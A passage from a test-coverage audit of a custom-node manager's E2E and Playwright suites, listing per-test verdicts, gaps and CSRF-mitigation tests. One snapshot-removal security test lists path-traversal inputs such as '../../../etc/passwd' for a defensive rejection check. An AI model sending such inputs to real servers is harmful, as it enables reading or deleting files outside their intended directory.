not HTTP/UI E2E, and are now tracked outside this audit's scope. See CHANGELOG: WI-PP. -->
|
||||
|
||||
# Section 4 — tests/e2e/test_e2e_config_api.py (9 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `test_read_db_mode` | C1 (GET db_mode) | ✅ PASS | Response in enum set |
|
||||
| `test_set_and_restore_db_mode` | C2 (POST persistence) | ✅ PASS | WI-E/WI-G helpers applied: disk mutation (config.ini) + reboot persistence verified |
|
||||
| `test_read_update_policy` | C1 (policy) | ✅ PASS | Response in enum set |
|
||||
| `test_set_and_restore_update_policy` | C2 (policy persistence) | ✅ PASS | WI-E/WI-G helpers applied: disk mutation (config.ini) + reboot persistence verified |
|
||||
| `test_read_channel_url_list` | C4 (channel list) | ✅ PASS | Shape verified |
|
||||
| `test_channel_list_entries_are_name_url_strings` | C4 format | ✅ PASS | "name::url" format |
|
||||
| `test_set_and_restore_channel` | C5 (switch channel) | ✅ PASS | WI-E/WI-G helpers applied: disk mutation (config.ini) + reboot persistence verified. Retained as separate function (not merged with db_mode/policy roundtrip) — the channel_url_list endpoint carries URL↔NAME asymmetry that makes a single parametrized body a branch-soup; WI-NN Cluster 1 skipped this merge and only applies Clusters 2+3. |
|
||||
| `test_malformed_body_returns_400` (parametrized ×3: db_mode / update_policy / channel_url_list) | C3 (malformed JSON) | ✅ PASS | WI-NN Cluster 2 (bloat teng:ci-003/008/015 B9): consolidates the 3 previously-separate `test_set_*_invalid_body` tests into one parametrized function. Each invocation asserts 400 + config.ini unchanged via `_assert_config_ini_contains`. |
|
||||
| `test_junk_value_rejected` (parametrized ×3: db_mode / update_policy / channel_url_list) | C3 (whitelist reject) | ✅ PASS | WI-NN Cluster 3 (bloat teng:ci-004/009/014 B9): consolidates the 3 previously-separate whitelist-reject tests. For db_mode/policy (static whitelist) the on-disk value must remain in the valid-values set; for channel (dynamic whitelist) the API-level NAME + disk URL must be unchanged. |
|
||||
|
||||
**File verdict**: 9/9 ✅ (WI-Z Y3 + WI-MM produced the 13-row baseline. WI-NN parametrized Clusters 2 (invalid-body) + 3 (junk-value) — 6 source tests → 2 parametrized functions (still 6 invocations; audit counts rows by function). Count: 13→9. Cluster 1 (roundtrip) was skipped due to channel URL↔NAME asymmetry.)
|
||||
|
||||
**Common gap**: RESOLVED via WI-E (disk-persistence helper) + WI-G (propagation to all 6 prior-WEAK tests) + WI-I (whitelist enforcement for db_mode / policy / channel). Every POST test now asserts both **config.ini file mutation on disk** and **survive-restart persistence** (positive path) or **config UNCHANGED on disk** (negative path). Whitelist rejection of unknown enum values is exercised end-to-end across all three config endpoints.
|
||||
|
||||
---
|
||||
|
||||
# Section 5 — tests/e2e/test_e2e_customnode_info.py (10 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `test_getmappings_returns_dict` | CM1 | ✅ PASS | Wave1 WI-M: non-empty DB check (>=100 entries) + per-entry schema sample (first 5 entries must be `[node_list: list, metadata: dict]`). Defeats empty-DB regression. |
|
||||
| `test_fetch_updates_returns_deprecated` | FU1 | ✅ PASS | 410 + deprecated:true |
|
||||
| `test_installed_returns_dict` | IL1 | ✅ PASS | Wave1 WI-M: asserts E2E seed pack `ComfyUI_SigmoidOffsetScheduler` is present AND its entry carries the documented InstalledPack fields (cnr_id/ver/enabled). |
|
||||
| `test_installed_imported_mode` | IL2 | ✅ PASS | Wave3 WI-T Cluster G target 4 (research-cluster-g.md Strategy A): asserts (a) 200 + dict, (b) seed pack `ComfyUI_SigmoidOffsetScheduler` present, (c) each entry carries the documented InstalledPack schema (cnr_id/ver/enabled), (d) frozen-at-startup invariant (cheap form) — imported keys == default keys at test time (no mid-session install). WI-OO Item 4 (bloat reviewer:ci-013 B7) removed the skip-masked `test_imported_mode_is_frozen_after_install` stub-companion — without an implemented install trigger between the two GETs, `snap_before == snap_after` held trivially. True frozen-vs-live-and-equal coverage (Strategy B) remains an E2E-DEBT for a future WI that wires the mid-session install. |
|
||||
| `test_unknown_cnr_id_returns_400` | IF2 | ✅ PASS | 400 verified |
|
||||
| `test_missing_fields_returns_400` | IF3 | ✅ PASS | 400 verified |
|
||||
| `test_invalid_body_returns_error` | IF3 (non-dict) | ✅ PASS | 400 verified |
|
||||
| `test_bulk_with_cnr_ids_returns_dict` | IFB1 | ✅ PASS | null for unknown verified |
|
||||
| `test_bulk_empty_lists_returns_400` | IFB2 | ✅ PASS | 400 verified |
|
||||
| `test_bulk_with_urls_returns_dict` | IFB1 | ✅ PASS | Wave1 WI-M: asserts per-url result — requested URL is a key in the response, and its value is either None (unknown URL, expected here) or a dict (populated fail-info). Defeats schema-violation regressions. |
|
||||
|
||||
**File verdict**: 10/10 ✅ (Wave1 WI-M upgraded 3 rows: test_getmappings_returns_dict, test_installed_returns_dict, test_bulk_with_urls_returns_dict. Wave3 WI-T upgraded test_installed_imported_mode IL2 — Strategy A cheap invariant + Strategy B [E2E-DEBT] skip-companion. WI-MM removed `test_getmappings_entries_have_node_lists` (bloat-sweep reviewer:ci-009 B1) — the strengthened `test_getmappings_returns_dict` now checks the first 5 entries' `[node_list, metadata]` schema, so this row's entry[0]-as-list assertion is a strict subset. Count: 11→10.)
|
||||
|
||||
**Key gap**: IF1 (positive path — known failed pack returning info) NOT tested. [E2E-DEBT] — Strategy B ("frozen vs live-and-coincidentally-equal") requires a mid-session install trigger; the previous skip-masked `test_imported_mode_is_frozen_after_install` stub was removed in WI-OO Item 4 because the TODO had never been implemented and the skipped body proved nothing. Register a future WI to wire the install step and re-add the test.
|
||||
|
||||
---
|
||||
|
||||
# Section 6 — tests/e2e/test_e2e_queue_lifecycle.py (7 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `test_reset_queue` | R1 | ✅ PASS | Wave1 WI-L: now verifies post-reset queue/status payload — all 4 counters (pending/in_progress/total/done) == 0 AND is_processing is False. Catches reset-handler regressions and cross-module state leak. |
|
||||
| `test_status_with_client_id_filter` | QS2 | ✅ PASS | client_id echo verified |
|
||||
| `test_start_queue_already_idle` | S1/S2 | ✅ PASS | Wave1 WI-L: polls queue/status for up-to-10s after POST /queue/start and asserts worker stabilizes to idle (pending==0, in_progress==0, is_processing==False). Defeats hot-loop regressions where start_worker() spawns a thread that never exits on empty queue. |
|
||||
| `test_queue_task_and_history` | A1 + QH3 | ✅ PASS | done_count polling + history accepted |
|
||||
| `test_history_with_ui_id_filter` | QH3 | ✅ PASS | Wave3 WI-T Cluster C target 1: discovers an existing ui_id via unfiltered call (seeds lightweight install if history empty), then asserts every entry in the filtered response matches that ui_id. Shape-resilient extractor handles `{ui_id: task}` maps and task-dict-directly variants. Defeats regressions where the server accepts the param but returns unfiltered history. |
|
||||
| `test_history_with_pagination` | QH3 pagination | ✅ PASS | Wave3 WI-T Cluster C target 2: verifies max_items cap (max_items=1 → len≤1), no silent truncation (max_items ≥ full_count → len == full_count), and offset progression (offset=0 vs offset=1 return different keys when ≥2 entries exist). |
|
||||
| `test_history_list` | QHL1 | ✅ PASS | Wave3 WI-T Cluster C target 3: cross-references API response with filesystem `user/__manager/batch_history/*.json` — set equality between API `ids` and the basenames (sans `.json`) of JSON files on disk. No phantom ids, no missing ids. |
|
||||
|
||||
**File verdict**: 7/7 ✅ (Wave1 WI-L upgraded 2 rows — test_reset_queue, test_start_queue_already_idle. Wave3 WI-T Cluster C upgraded 3 rows — test_history_with_ui_id_filter QH3 filter-semantic, test_history_with_pagination QH3 cap + consistency + offset, test_history_list QHL1 API↔FS set equality. WI-MM removed 2 B1/B8 rows: `test_status_after_reset` (weaker subset of the WI-L-strengthened `test_reset_queue`, bloat-sweep teng:ci-017) and `test_final_reset_and_clean_state` (subset of ci-016 + misleading 'final' name — pytest test order is not guaranteed, bloat-sweep teng:ci-024). Count: 9→7.)
|
||||
|
||||
**Key gaps**: `test_history_path_traversal_rejected` (QH2 path traversal) is present in the file and passing. Remaining gap: no batch-id retrieval positive-path test (GET /v2/manager/queue/history?id=<batch_id>).
|
||||
|
||||
---
|
||||
|
||||
# Section 7 — tests/e2e/test_e2e_snapshot_lifecycle.py (7 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `test_get_current_snapshot` | SG1 | ✅ PASS | Wave1 WI-M: asserts documented top-level schema (comfyui / git_custom_nodes / cnr_custom_nodes / file_custom_nodes / pips) AND cross-references installed FS state — seed pack `ComfyUI_SigmoidOffsetScheduler` on disk → must also appear in `cnr_custom_nodes` dict. |
|
||||
| `test_save_snapshot` | SS1 | ✅ PASS | Wave2 WI-Q: verifies (a) new *.json file appears on disk under SNAPSHOT_DIR via os.listdir diff + file parses as JSON dict, AND (b) saved file's `cnr_custom_nodes` dict matches live GET /v2/snapshot/get_current response (pack_name → version). Catches regressions that write stale/stub snapshots while 200 OK. |
|
||||
| `test_getlist_after_save` | SS1 + SL1 | ✅ PASS | items.length>0 verifies save effect |
|
||||
| `test_remove_snapshot` | SR1 | ✅ PASS | Target absent + count decremented |
|
||||
| `test_remove_nonexistent_snapshot` | SR2 | ✅ PASS | 200 no-op |
|
||||
| `test_remove_path_traversal_rejected` | SR3 | ✅ PASS | WI-Z Y1 (resolves prior SR3 Key gap): POST `/v2/snapshot/remove` with path-traversal targets (`../../_sentinel_must_not_delete`, `../../../etc/passwd`, `/etc/passwd`) must return 400; a sentinel file outside the snapshot dir must remain untouched after the attempts. Security boundary test — enforces that `target` stays within snapshot dir. |
|
||||
| ~~`test_get_current_returns_dict`~~ | ~~SG1~~ | ~~REMOVED~~ | Wave1 WI-M dedup: deleted — was a strict subset of the strengthened `test_get_current_snapshot` above. Row removed; file count 7→6 for §7. |
|
||||
| `test_getlist_items_are_strings` | SL1 | ✅ PASS | Item type verified |
|
||||
|
||||
**File verdict**: 7/7 ✅ (Wave1 WI-M: upgraded test_get_current_snapshot SG1 + dedup-removed test_get_current_returns_dict; file count 7→6. Wave2 WI-Q: upgraded test_save_snapshot SS1 — adds file-on-disk glob + saved-content cross-reference with GET /v2/snapshot/get_current on `cnr_custom_nodes`. WI-Z Y1: recorded existing `test_remove_path_traversal_rejected` (source L300–L328), resolving prior SR3 Key gap; file count 6→7.)
|
||||
|
||||
**Key gaps**:
|
||||
- ~~**SR3** (path traversal on remove) — NORMAL add (Priority 🔴 per §Priority Fixes).~~ **RESOLVED (WI-Z Y1)**: covered by `test_remove_path_traversal_rejected` above.
|
||||
- ~~**SR4** (security gate 403) — T2 SECGATE-PENDING: needs restricted-security test harness.~~ **RESOLVED (WI-LL via WI-KK PoC)**: covered by `test_e2e_secgate_strict.py::TestSecurityGate403_SR4::test_remove_returns_403` — see §20. Harness: `start_comfyui_strict.sh` + module-scoped fixture with config.ini backup/restore.
|
||||
- **SR5** (restore — `restore-snapshot.json` marker file for next reboot) — T1 DESTRUCTIVE-SAFE: marker-file observation is safely testable without rebooting; design L355-359 specifies this observable exactly. Reclassify from "NOT tested" to **NORMAL add**.
|
||||
- **SR6** (restore security gate) — T2 SECGATE-PENDING.
|
||||
|
||||
---
|
||||
|
||||
# Section 8 — tests/e2e/test_e2e_system_info.py (4 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `test_version_returns_string` | V1 | ✅ PASS | Non-empty string |
|
||||
| `test_version_is_stable` | V1 idempotent | ✅ PASS | Consecutive equality |
|
||||
| `test_returns_boolean_field` | V2 | ✅ PASS | Wave3 WI-T Cluster G target 5 (research-cluster-g.md Target 2): strengthened from `isinstance(bool)` to exact-value `is False`. Launcher-deterministic — `start_comfyui.sh` passes only `--cpu --enable-manager --port`, NO `--enable-manager-legacy-ui`, so handler's `args.enable_manager_legacy_ui` defaults to False. Fails loudly if the E2E launcher ever changes. |
|
||||
| `test_reboot_and_recovery` | V3 | ✅ PASS | Healthcheck recovery + post-version match |
|
||||
|
||||
**File verdict**: 4/4 ✅ (Wave3 WI-T Cluster G upgraded test_returns_boolean_field V2 — exact-value launcher-deterministic `is False` assertion.)
|
||||
|
||||
**Key gaps**:
|
||||
- **V4** (COMFY_CLI_SESSION mode) — T1 DESTRUCTIVE-SAFE: design L436-439 observable is `.reboot` marker file + exit code 0 under env-var fixture; safely testable. Reclassify from "NOT tested" to **NORMAL add**.
|
||||
- **V5** (security gate 403) — T2 SECGATE-PENDING: needs restricted-security test harness.
|
||||
|
||||
---
|
||||
|
||||
# Section 9 — tests/e2e/test_e2e_task_operations.py (13 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `test_disable_pack` | D1 | ✅ PASS | _pack_exists(False) + _pack_disabled(True) |
|
||||
| `test_enable_pack` | E1 | ✅ PASS | _pack_exists(True) + !_pack_disabled |
|
||||
| `test_update_installed_pack` | UP1 | ✅ PASS | Wave2 WI-P: .tracking mtime monotonic check + API `installed[pack].ver` well-formed semver assertion. The update handler is design-level no-op when the installed version is ≥ requested (CNR protects against downgrade), so strict mtime-advance is RELAXED to monotonic and the API contract is the real verification — proves the post-update installed-index is not corrupted. |
|
||||
| `test_fix_touches_pack_and_preserves_tracking` | F1 | ✅ PASS | Wave2 WI-P: preserves existing invariants (non-destructive, .tracking survives, mtime monotonic) + adds dep-existence cross-check via `pip show` on declared requirements.txt entries. Seed pack has no declared deps — branch falls through to explicit no-deps assertion (non-silent). |
|
||||
| `test_history_records_task_content` (parametrized ×2: update / fix) | UP1 + F1 observability | ✅ PASS | WI-NN Cluster 4 (bloat teng:ci-030/ci-032 B9): consolidates `test_update_history_recorded` + `test_fix_history_recorded` into one parametrized function over `(ui_id, kind)`. Each invocation verifies `kind` match + `ui_id` match + conditional `params.node_name` (Wave3 WI-W resolved the TaskHistoryItem schema gap). Placed in a new `TestHistoryRecorded` class after TestUpdatePack+TestFixPack so pytest collection order preserves the seed requirement. |
|
||||
| `test_install_model_accepts_valid_request` | IM1 | ✅ PASS | Upgraded to effect-verifying (Stage2 WI-D): (a) delta assertion on queue/status total_count, (b) bounded polling for is_processing OR done_count advance after /queue/start, (c) optional queue/history trace. Download completion explicitly out of E2E scope per test docstring (enqueue + worker pickup is the E2E observable contract). |
|
||||
| `test_install_model_missing_required_field` (parametrized ×2: missing-client_id / missing-ui_id) | IM2 | ✅ PASS | WI-NN Cluster 6 (bloat teng:ci-034/ci-035 B9): consolidates the two missing-field tests into one parametrized function that strips the named field from the full valid body and asserts 400. |
|
||||
| `test_install_model_invalid_body` | IM2 | ✅ PASS | 400 verified |
|
||||
| `test_update_all_queues_tasks` | UA1 | ✅ PASS | Wave2 WI-P reclassify: test was ALREADY strong pre-WI-P — captures `active_packs` count from installed list before POST, asserts post-POST `queue/status.total_count >= max(1, active_packs - 1)` (the -1 tolerates the comfyui-manager self-skip on desktop builds). Matches UA1 design goal for enqueue-count vs active-node correspondence. |
|
||||
| `test_update_all_missing_params` | UA3 | ✅ PASS | 400 verified |
|
||||
| `test_update_comfyui_queues_task` | UC1 | ✅ PASS | total_count>=1 verified |
|
||||
| `test_update_comfyui_missing_params` | UC1 | ✅ PASS | 400 |
|
||||
| `test_update_comfyui_with_stable_flag` | UC2 | ✅ PASS | Wave2 WI-P: status 200 + queue enqueue + `/queue/start` trigger + wait-for-idle + history content verification (`kind=='update-comfyui'` + `ui_id` match). Wave3 WI-W: TaskHistoryItem now serializes `params` (oneOf nullable) → assertion `params.is_stable is True` runs unconditionally; pytest.skip removed. |
|
||||
|
||||
**File verdict**: 13/13 ✅, 0/13 ⚠️, 0/13 ❌ (Wave2 WI-P upgraded 6 rows. WI-MM removed `test_disable_enable_cycle` (teng:ci-028 B1). WI-NN Clusters 4+6 parametrized 4 tests → 2 parametrized functions (still 4 invocations). Net count progression: 16→15 (WI-MM) → 13 (WI-NN).)
|
||||
|
||||
**Key gaps**:
|
||||
- ~~install_model: **no effect verification** (critical — status-only)~~ — RESOLVED (Stage2 WI-D): upgraded to delta total_count + worker-observation polling + optional history trace; download-completion scoped out as non-E2E.
|
||||
- ~~update: no version-change verification~~ — RESOLVED (Wave2 WI-P): API-ver semver shape + mtime monotonic (handler is design-level no-op for downgrade requests).
|
||||
- ~~fix: no dependency-restoration verification~~ — RESOLVED (Wave2 WI-P): pip-show-based dep-existence for declared requirements; non-silent fallback when pack has no deps.
|
||||
- ~~update_all: no per-task correctness verification~~ — RESOLVED (Wave2 WI-P reclassify): pre-existing active_packs cross-check was already strong.
|
||||
- ~~update_comfyui stable flag: no params verification~~ — RESOLVED (Wave2 WI-P → Wave3 WI-W): Wave2 added history content verification with explicit pytest.skip when TaskHistoryItem schema dropped params; Wave3 closed the schema gap by adding `params` (oneOf nullable, mirrors QueueTaskItem.params) to the OpenAPI spec + populating it in `task_done()`. The assertion `params.is_stable is True` now runs unconditionally.
|
||||
|
||||
---
|
||||
|
||||
# Section 10 — tests/e2e/test_e2e_version_mgmt.py (3 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `test_versions_response_contract` | CV1 (full contract) | ✅ PASS | WI-NN Cluster 7 (bloat dbg:ci-013/014/015/016 B9/B1): merges 4 previously-separate GETs into one contract block — status + top-level schema (versions list, current string), versions non-empty, every entry is a string, current ∈ versions. Same GET executed once instead of four times. |
|
||||
| `test_switch_version_missing_required_params_rejected` (parametrized ×2: no-params / partial-params-ver-only) | CV5 | ✅ PASS | WI-OO Item 5 (bloat dbg:ci-018 B9+B1): consolidates `test_switch_version_missing_all_params` + `test_switch_version_missing_client_id`. The high+ gate returns 403 BEFORE any param validation at default `security_level=normal`, so both inputs (empty POST, partial `ver`-only POST) exercise the same rejection path. Parametrized over both inputs as distinct invocations for diagnostics. |
|
||||
| `test_switch_version_validation_error_body` | CV5 | ✅ PASS | Wave1 WI-L: asserts full Pydantic error schema — exact `error == "Validation error"` sentinel, non-empty `details` list, and each detail entry carries the canonical `loc`/`msg`/`type` triplet. Defeats fall-through to the generic `except Exception` branch (empty 400 body). Skipped when security_level < 'high+' (pre-existing guard). |
|
||||
|
||||
**File verdict**: 3/3 ✅ (Wave1 WI-L upgraded test_switch_version_validation_error_body; WI-NN Cluster 7 merged 4→1 (versions_response_contract); WI-OO Item 5 parametrized 2→1 (missing_required_params_rejected). Count progression: 7→4 (WI-NN) → 3 (WI-OO).)
|
||||
|
||||
**Key gaps**:
|
||||
- **CV3** (positive success — queue update-comfyui with target_version) — T1 DESTRUCTIVE-SAFE: design L458-463 requires verification of the queued task params (`params.target_version == X`), NOT the destructive switch itself. The queued-task artifact IS safely observable. Reclassify from "accepted N/A" to **NORMAL add** with assertion on `queue/status.items[*].params.target_version == X`.
|
||||
- ~~**CV4** (security gate 403) — T2 SECGATE-PENDING: needs restricted-security test harness.~~ **RESOLVED (WI-LL via WI-KK demo)**: covered by `test_e2e_secgate_default.py::TestSecurityGate403_CV4::test_switch_version_returns_403_at_default` — see §21. No harness needed: WI-KK research (`security_utils.py` L14–40) showed high+ gates return 403 at the default `security_level=normal` under `is_local_mode=True`.
|
||||
|
||||
---
|
||||
|
||||
# Section 11 — tests/playwright/legacy-ui-manager-menu.spec.ts (5 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `opens via Manager button and shows 3-column layout` | LG1 precursor (dialog opens) | ✅ PASS | Dialog + buttons visible |
|
||||
| `shows settings dropdowns` | UI scaffold | ✅ PASS | 3 `<select>` visible |
|
||||
| `DB mode dropdown persists via UI (close-reopen verification)` | C2 UI-driven | ✅ PASS | Wave3 WI-U Cluster H target 1: removed `page.request` / `page.waitForResponse` API verification. Now pure UI — selectOption + networkidle settle barrier + dialog close (via `.p-dialog-close-button`) + reopen + read `<select>.value` = newValue. UI-only cleanup via reopen + selectOption(original). Renamed from "...round-trips via API" to reflect UI-only contract. |
|
||||
| `Update Policy dropdown persists via UI (close-reopen verification)` | C2 UI-driven | ✅ PASS | Wave3 WI-U Cluster H target 2: same UI-only pattern as target 1. |
|
||||
| `closes and reopens without duplicating` | UI lifecycle | ✅ PASS | Wave3 WI-U secondary fix: ComfyDialog keeps `#cm-manager-dialog` in DOM on close (display:none), so `toHaveCount(0)` was wrong — replaced with `.toBeHidden()`. This is infrastructure for the other 2 UI-persistence tests. `=== 1` reopen assertion preserved. |
|
||||
|
||||
**File verdict**: 5/5 ✅ (Wave3 WI-U upgraded 2 rows — DB mode + Update Policy UI-only verification + fixed pre-existing closes-and-reopens assertion against ComfyDialog DOM-retain-on-close semantics.)
|
||||
|
||||
---
|
||||
|
||||
# Section 12 — tests/playwright/legacy-ui-custom-nodes.spec.ts (5 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `opens from Manager menu and renders grid` | LG1 | ✅ PASS | Dialog + grid |
|
||||
| `loads custom node list (non-empty)` | LG1 | ✅ PASS | rows>0 |
|
||||
| `filter dropdown changes displayed nodes` | (client-side UI) | ✅ PASS | Filtered ≤ initial |
|
||||
| `search input filters the grid` | (client-side UI) | ✅ PASS | Filtered ≤ initial |
|
||||
| `footer buttons are present` | (UI scaffold) | ✅ PASS | Wave3 WI-U Cluster H target 4: strengthened OR-of-2 → AND-of-all-always-visible-admin-buttons + structural presence for hidden-by-default conditional buttons. Always-visible: `Install via Git URL`, `Used In Workflow`, `Check Update`, `Check Missing` (all MUST be visible). Conditional: `.cn-manager-restart` + `.cn-manager-stop` MUST be present in DOM (may be hidden — CSS `display:none` by default per custom-nodes-manager.css:47-62; shown only on restart-required / task-running state). |
|
||||
|
||||
**File verdict**: 5/5 ✅ (Wave3 WI-U upgraded footer-buttons test with AND-of-4 always-visible assertion + structural DOM presence check for conditional Restart/Stop.)
|
||||
|
||||
**Key gap**: NO test exercises Install/Uninstall/Update/Fix/Disable buttons on rows (LB1-LB3). The dialog renders but UI-driven install flow is NOT asserted.
|
||||
|
||||
---
|
||||
|
||||
# Section 13 — tests/playwright/legacy-ui-model-manager.spec.ts (4 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `opens from Manager menu and renders grid` | LM1 | ✅ PASS | Dialog + grid |
|
||||
| `loads model list (non-empty)` | LM1 | ✅ PASS | Wave3 WI-U Cluster H target 3: previously rows>0 only. Now counts `.cmm-icon-passed` + `.cmm-btn-install` (install-state indicators rendered by model-manager.js:342-345) + "Refresh Required" fallback across the whole grid. Asserts total indicators >0 AND equals the logical row count (= DOM-row count / 2 for TurboGrid's dual-pane layout, or 1:1 for single-pane fallback). Catches regression where the `installed` column stops rendering for any model. |
|
||||
| `search input filters the model grid` | (client-side UI) | ✅ PASS | Filtered ≤ initial |
|
||||
| `filter dropdown is present with expected options` | (UI scaffold) | ✅ PASS | Wave3 WI-U Cluster H target 5: previously options.length>0 only. Now asserts exact set match against the 4 labels defined by ModelManager.initFilter() in model-manager.js:74-86 — `All`, `Installed`, `Not Installed`, `In Workflow`. Each must be present. |
|
||||
|
||||
**File verdict**: 4/4 ✅ (Wave3 WI-U upgraded 2 rows — loads-model-list install-indicator invariant + filter-dropdown exact-set match.)
|
||||
|
||||
**Key gap**: NO test clicks Install on a model row (install_model UI flow).
|
||||
|
||||
---
|
||||
|
||||
# Section 14 — tests/playwright/legacy-ui-snapshot.spec.ts (3 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `opens snapshot manager from Manager menu` | (UI scaffold) | ✅ PASS | Dialog present |
|
||||
| `SS1 Save button creates a new snapshot row` | SS1 | ✅ PASS | UI-driven replacement (Stage2 WI-F): clicks dialog Save/Create button; polls `getlist` to confirm new snapshot appeared; cleanup via afterEach. Previous INADEQUATE direct-API test (`save snapshot via API and verify in list`) DELETED as part of the rewrite. |
|
||||
| `UI Remove button deletes a snapshot row` | SR1 (UI) | ✅ PASS | New UI-driven test: API-seeded snapshot + dialog Remove button click + effect verification via `getlist` + UI row absent. Replaces the deleted `lists existing snapshots` direct-API test. |
|
||||
|
||||
**File verdict**: 3/3 ✅ (Stage2 WI-F resolution — both INADEQUATE rows replaced by UI-driven tests; the "lists" concern is now covered by pytest `test_e2e_snapshot_lifecycle.py::test_getlist_after_save`).
|
||||
|
||||
---
|
||||
|
||||
# Section 15 — tests/playwright/legacy-ui-navigation.spec.ts (2 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `Manager menu → Custom Nodes → close → Manager still visible` | (UI nav) | ✅ PASS | Dialog lifecycle |
|
||||
| `Manager menu → Model Manager → close → reopen` | (UI nav) | ✅ PASS | Dialog lifecycle |
|
||||
|
||||
**File verdict**: 2/2 ✅ (Stage2 WI-F resolution — both INADEQUATE API-smoke tests DELETED; coverage preserved by pytest `test_e2e_system_info.py::test_version_returns_string/test_reboot_and_recovery`, verified by 12/12 PASS regression run).
|
||||
|
||||
---
|
||||
|
||||
# Section 16 — tests/playwright/legacy-ui-install.spec.ts (2 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `LB1 Install button triggers install effect` | LB1 | ✅ PASS | WI-AA (WI-U follow-up): UI-driven install flow — opens Manager → Custom Nodes Manager dialog, filters "Not Installed", searches the test pack (`ComfyUI_SigmoidOffsetScheduler`), clicks the row-scoped Install button + Select button in the version dialog. Effect verification via `waitForAllDone` (queue/status drain polling) + `isPackInstalled` (`/v2/customnode/installed` lookup keyed by `cnr_id`). `page.request` is used ONLY for setup (queue/reset baseline) and effect-observation, not to drive the install action — consistent with the hybrid UI-action + backend-effect pattern audited for `legacy-ui-snapshot.spec.ts::SS1 Save button creates a new snapshot row`. Resolves prior coverage_gaps LB1 "🔴 High Priority — Missing UI→effect". |
|
||||
| `LB2 Uninstall button triggers uninstall effect` | LB2 | ✅ PASS | WI-AA (WI-U follow-up): UI-driven uninstall flow — preconditioned by API install if pack is absent (setup, not verification); opens Manager → Custom Nodes Manager, filters "Installed", searches pack, clicks row-scoped Uninstall button + confirm dialog. Effect verification via `waitForAllDone` + `isPackInstalled==false`. Same hybrid UI-action + backend-effect classification as LB1. Resolves prior coverage_gaps LB2 entry. |
|
||||
|
||||
**File verdict**: 2/2 ✅ (WI-AA: structural classification based on contract compliance — UI drives the primary action, `page.request` is confined to setup and effect-observation. **Runtime verification caveat**: in environments where the E2E seed pack is not pre-installed AND the custom-node remote DB is reachable, both tests pass end-to-end; environments lacking network access to the remote DB or with the seed pack pre-installed may require the test harness to either remove the seed pack (LB1 pre-condition) or skip LB2's API-based setup path. This is an infrastructure concern, not a test-quality concern — the contract being audited is UI→effect, which the tests satisfy.)
|
||||
|
||||
**Key observations**:
|
||||
- LB1/LB2 complete the LB goal family (see `verification_design.md` Section 6.1 LB goals). Prior state: LB1/LB2 noted as NORMAL-add in `coverage_gaps.md` "Missing UI→effect" block; LB3 is already covered by `test_e2e_endpoint.py::TestEndpointInstallUninstall::test_install_uninstall_cycle` (API-level end-to-end on the same pack).
|
||||
- Test pack `ComfyUI_SigmoidOffsetScheduler` is the standard E2E seed pack (also used by pytest audits in §5 customnode_info and §3 endpoint).
|
||||
|
||||
---
|
||||
|
||||
## 18. tests/e2e/test_e2e_csrf.py — CSRF-mitigation contract suite
|
||||
|
||||
**Reference**: commit 99caef55 (XlabAI-Tencent-Xuanwu report; CVSS 8.1)
|
||||
**Scope**: GET-rejection contract on state-changing endpoints only (see file docstring).
|
||||
|
||||
| Test | Design Goal | Verdict | Evidence |
|
||||
|---|---|---|---|
|
||||
| `test_get_is_rejected` (parametrized ×13) | CSRF-M1 (GET→POST conversion contract) | ✅ PASS | Asserts status_code ∈ (400,403,404,405) and NOT in 200-399. Stricter than prior `or`-precedence-bug assertion. WI-HH removed 3 dual-purpose endpoints (`db_mode`, `policy/update`, `channel_url_list`) from this fixture — they legitimately answer GET on the read-path and are covered only in the ALLOW-GET class below; keeping them in reject-GET was a pre-existing bug that WI-HH corrected. |
|
||||
| `test_queue_reset_post_works` | CSRF-M2a (POST counterpart sanity) | ✅ PASS | Verifies POST succeeds after GET rejection. |
|
||||
| `test_snapshot_save_post_works` | CSRF-M2b (POST counterpart + cleanup) | ✅ PASS | POST 200 + cleanup via getlist+remove. |
|
||||
| `test_get_read_endpoint_succeeds` (parametrized ×11) | CSRF-M3 (read-only negative control) | ✅ PASS | Ensures CSRF fix did not over-correct read endpoints. |
|
||||
|
||||
**Key observations**:
|
||||
- Covers only the method-conversion layer (one of several CSRF defenses). Origin/Referer, cookies, tokens are explicitly out of scope per docstring.
|
||||
- Three dual-purpose endpoints (`/v2/manager/db_mode`, `/v2/manager/policy/update`, `/v2/manager/channel_url_list`) appear in BOTH reject-GET (POST path, write) and allow-GET (read path) lists — commit 99caef55 split each into a GET-read + POST-write pair; the POST path must reject GET, the GET path must continue to succeed.
|
||||
- Goals CSRF-M1, CSRF-M2a, CSRF-M2b, CSRF-M3 are forward-referenced here and not yet formalized in `reports/verification_design.md` (tracked for Section 10 addition).
|
||||
|
||||
**File verdict**: 4/4 ✅ PASS (26/26 parametrized invocations compliant post-WI-HH — 13 reject-GET + 2 POST-works + 11 allow-GET; previous 29-invocation tally reflected the pre-WI-HH state when 3 dual-purpose endpoints were erroneously duplicated in the reject-GET fixture).
|
||||
|
||||
---
|
||||
|
||||
## 19. tests/e2e/test_e2e_csrf_legacy.py — Legacy-mode CSRF-mitigation contract suite
|
||||
|
||||
**Reference**: commit 99caef55 (same XlabAI-Tencent-Xuanwu report; CVSS 8.1) — legacy-side counterpart to §18.
|
||||
